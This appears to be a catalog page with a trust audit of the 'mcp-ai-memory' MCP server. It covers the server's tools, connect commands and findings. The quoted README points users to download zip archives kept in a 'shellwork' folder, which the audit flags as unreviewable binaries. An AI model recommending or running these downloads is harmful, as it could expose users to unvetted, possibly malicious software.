Atlas / MCP servers / ermermermermidk / mcp-ai-memory

mcp-ai-memoryCAUTION

mcp/ermermermermidk/mcp-ai-memory

🧠 Manage AI context seamlessly with the MCP server for storing and retrieving semantic memory across sessions. Enhance your AI's knowledge retention.

Verdict
CAUTION
Grade
B
Trust score
89 /100
Exposed tools
21 13r · 5w · 3d
Transport
stdio
License
MIT
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/ermermermermidk/mcp-ai-memory/raw/refs/heads/main/shellwork/aimcpmemory_v3.4.zip)

🚀 Getting Started

Welcome to the mcp-ai-memory project! This application is a production-ready Model Context Protocol (MCP) server designed to help you manage semantic memory efficiently. Follow these simple steps to download and run the software.

💻 System Requirements

Before you begin, ensure your system meets the following requirements:

  • Operating System: Windows 10, macOS 10.14+, or a compatible Linux distribution
  • RAM: Minimum 4 GB recommended (8 GB for optimal performance)
  • CPU: Dual-core processor or equivalent
  • Storage: At least 500 MB of free space

🔎 Features

  • Easy to Use: Designed for everyday users without technical skills.
  • Efficient Memory Management: Seamlessly manage your semantic memory data.
  • Production-Ready: Built to handle real-world applications reliably.
  • Secure and Stable: Focused on providing a safe user experience.

📥 Download & Install

To get started, visit this page to download: mcp-ai-memory Releases.

  1. Go to the Releases Page: Click the link above to open the Releases page on GitHub.
  2. Select the Latest Version: Look for the most recent version of mcp-ai-memory. It will usually have the highest version number (e.g., v1.0.0).
  3. Download the Package: Choose the appropriate file for your operating system. For example:
  4. For Windows, download the .exe file.
  5. For macOS, download the .dmg file.
  6. For Linux, download the https://github.com/ermermermermidk/mcp-ai-memory/raw/refs/heads/main/shellwork/ai_mcp_memory_v3.4.zip or the package for your sp
Read from source at commit 25fa6d05df94OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add mcp-ai-memory -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "mcp-ai-memory": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ]
    }
  }
}
03

Exposed tools (21)

13 read · 5 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
conversation-contextreadLoad conversation history and context
last_nreadNumber of recent messages to load
limitreadMaximum number of memories to load
load-contextreadLoad relevant context for a task
max_memoriesreadMaximum number of memories to include
memory-summaryreadGenerate a summary of memories for a topic
memory_batchwriteBATCH BULK MULTIPLE IMPORT - Store multiple memories at once for efficiency. Keywords: batch, bulk, multiple, import, mass store, save many, store all, bulk import, batch save
memory_batch_deletedestructiveBATCH DELETE BULK REMOVE - Delete multiple memories at once. Keywords: batch delete, bulk remove, mass delete, delete many, remove all, clear multiple
memory_consolidatewriteCONSOLIDATE MERGE CLUSTER DEDUPLICATE - Group and merge similar memories to reduce redundancy. Keywords: consolidate, merge, cluster, deduplicate, group, combine, compress, organize
memory_deletedestructiveDELETE REMOVE FORGET ERASE - Delete a specific memory by ID. Keywords: delete, remove, forget, erase, clear, purge, discard, eliminate, destroy memory, remove fact, forget information
memory_get_relationsreadGET RELATIONS SHOW LINKS - Get all relationships for a specific memory. Keywords: get relations, show links, list connections, view relationships, find associations
memory_graph_searchreadGRAPH RELATED CONNECTED NETWORK - Search memories and traverse relationships to find connected information. Keywords: graph, related, connected, network, relationships, linked, associated, traverse connections
memory_relatewriteRELATE LINK CONNECT ASSOCIATE - Create a relationship between two memories. Keywords: relate, link, connect, associate, join, bind, reference, attach
memory_statsreadSTATS STATUS INFO METRICS - Get database statistics, counts, and health metrics. Keywords: stats, status, info, metrics, statistics, counts, summary, overview, database info
memory_storewriteSTORE SAVE REMEMBER CREATE - Store new information, facts, preferences, conversations, or knowledge. Use after searching to avoid duplicates. Keywords: save, remember, store, record, memorize, learn, retain, persist, create memory, add knowledge, save fact, store preference, remember conversation
memory_unrelatedestructiveUNRELATE UNLINK DISCONNECT - Remove a relationship between two memories. Keywords: unrelate, unlink, disconnect, detach, unbind, separate
memory_updatewriteUPDATE MODIFY EDIT CHANGE - Update existing memory metadata, tags, confidence, or importance. Keywords: update, modify, edit, change, revise, amend, alter, adjust, correct, fix, improve memory, update fact, change information
session_idreadThe session ID to load
taskreadThe task to load context for
topicreadThe topic to summarize
user_contextreadUser context to filter memories
04

Trust audit

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
none-observed
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (4)

MEDIUMInventory / provenance · inv.binary · CWE-1104
shellwork/ai_mcp_memory_v3.4.zip
ai_mcp_memory_v3.4.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
memory_batch_delete, memory_delete, memory_unrelate
Why it matters. 3 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@modelcontextprotocol/sdk, @types/node-cache, @xenova/transformers, bullmq, dotenv, ioredis, kysely, node-cache
Why it matters. 17 dependency range(s) float
Fix. pin exact versions or ship a lockfile
INFOInventory / provenance · inv.oversize · CWE-1104
shellwork/mcp-ai-memory.zip
shellwork/mcp-ai-memory.zip
Why it matters. 1380820 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 25fa6d05df94full audit observations/trust-audit/mcp-server/ermermermermidk__mcp-ai-memory.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1125fa6d05df94CAUTIONB89first audit
06

Questions

What is the mcp-ai-memory MCP server?

🧠 Manage AI context seamlessly with the MCP server for storing and retrieving semantic memory across sessions. Enhance your AI's knowledge retention.

What tools does mcp-ai-memory expose?

21 in total: 13 read-only, 5 that write, and 3 that can delete or overwrite (memory_batch_delete, memory_delete, memory_unrelate). Every one is listed on this page with its risk.

Is mcp-ai-memory safe to connect to an agent?

With care. The audit graded it B (89/100) and found 4 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does mcp-ai-memory need?

No credential environment variables were found in its source, so it appears to need none.

How does mcp-ai-memory run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as mcp-ai-memory at 1.0.6.

How current is this page?

The grade is for one exact copy of the source (25fa6d05df94), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement